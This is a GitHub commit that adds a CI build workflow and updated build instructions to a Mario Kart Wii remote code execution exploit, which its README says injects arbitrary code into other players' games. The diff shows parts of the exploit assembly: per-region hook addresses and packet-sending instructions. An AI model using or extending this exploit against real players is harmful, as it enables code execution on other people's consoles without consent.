Add Continuous Integration

MikeIsAStar · Apr 3, 2024 · bccbbf4 · bccbbf4
1 parent 1c81ffe
commit bccbbf4
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Showing 4 changed files with 52 additions and 16 deletions.
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
@@ -0,0 +1,26 @@
+name: Continuous Integration
+
+on: [pull_request, push, workflow_dispatch]
+
+jobs:
+  build:
+    name: ubuntu-latest
+    runs-on: ubuntu-latest
+    container: devkitpro/devkitppc:latest
+
+    steps:
+    - name: Checkout
+      uses: actions/checkout@v4
+
+    - name: Build
+      run: |
+        mkdir out
+        /opt/devkitpro/devkitPPC/bin/powerpc-eabi-as -mgekko -mregnames ./source/mario_kart_wii_remote_code_execution.S -o ./out/mario_kart_wii_remote_code_execution.o
+        /opt/devkitpro/devkitPPC/bin/powerpc-eabi-ld -Ttext 0x80000000 ./out/mario_kart_wii_remote_code_execution.o
+        /opt/devkitpro/devkitPPC/bin/powerpc-eabi-objcopy -O binary ./out/mario_kart_wii_remote_code_execution.o ./out/mario_kart_wii_remote_code_execution.bin
+
+    - name: Upload
+      uses: actions/upload-artifact@v4
+      with:
+        name: Releases
+        path: ./out/mario_kart_wii_remote_code_execution.bin
diff --git a/.gitignore b/.gitignore
@@ -0,0 +1,5 @@
+# Directories
+out
+
+# Files
+a.out
diff --git a/README.md b/README.md
@@ -2,10 +2,15 @@
 
 Injects arbitrary code into a client's game.
 
-## Assembling
+## Prerequisites
+- devkitPPC
+
+## Building
 ```
-powerpc-gekko-as.exe mario_kart_wii_remote_code_execution.S -o mario_kart_wii_remote_code_execution.elf
-powerpc-eabi-objcopy.exe -O binary mario_kart_wii_remote_code_execution.elf mario_kart_wii_remote_code_execution.bin
+mkdir out
+powerpc-eabi-as -mgekko -mregnames ./source/mario_kart_wii_remote_code_execution.S -o ./out/mario_kart_wii_remote_code_execution.o
+powerpc-eabi-ld -Ttext 0x80000000 ./out/mario_kart_wii_remote_code_execution.o
+powerpc-eabi-objcopy -O binary ./out/mario_kart_wii_remote_code_execution.o ./out/mario_kart_wii_remote_code_execution.bin
 ```
 
 ## Usage

diff --git a/mario_kart_wii_remote_code_execution.S → ...ce/mario_kart_wii_remote_code_execution.S b/mario_kart_wii_remote_code_execution.S → ...ce/mario_kart_wii_remote_code_execution.S
@@ -2,7 +2,7 @@
 # Mario Kart Wii Remote Code Execution #
 #--------------------------------------#
 # Author : MikeIsAStar                 #
-# Date   : 03 Nov 2023                 #
+# Date   : 03 Apr 2024                 #
 #--------------------------------------#
 # Description: This code will inject   #
 # arbitrary code into a client's game. #
@@ -30,10 +30,10 @@
 #======================================#
 #             Hook Address             #
 #--------------------------------------#
-# RMCP : 0x80657F30                    #
-# RMCE : 0x80653AA8                    #
-# RMCJ : 0x8065759C                    #
-# RMCK : 0x80646248                    #
+# RMCP: 0x80657F30                     #
+# RMCE: 0x80653AA8                     #
+# RMCJ: 0x8065759C                     #
+# RMCK: 0x80646248                     #
 #======================================#
 .globl _start
 _start:
@@ -59,12 +59,12 @@ payloadStart:
 payloadEnd:
 packetEnd:
 
-    lis       12, 0x80005F34@h
-    li        5, packetSize
-    mflr      4
-    ori       12, 12, 0x80005F34@l
-    stw       5, 8(3)
-    mtctr     12
-    lwz       3, 0(3)
+    lis       r12, 0x80005F34@h
+    li        r5, packetSize
+    mflr      r4
+    ori       r12, r12, 0x80005F34@l
+    stw       r5, 8(r3)
+    mtctr     r12
+    lwz       r3, 0(r3)
     bctrl
-    li        4, packetSize
+    li        r4, packetSize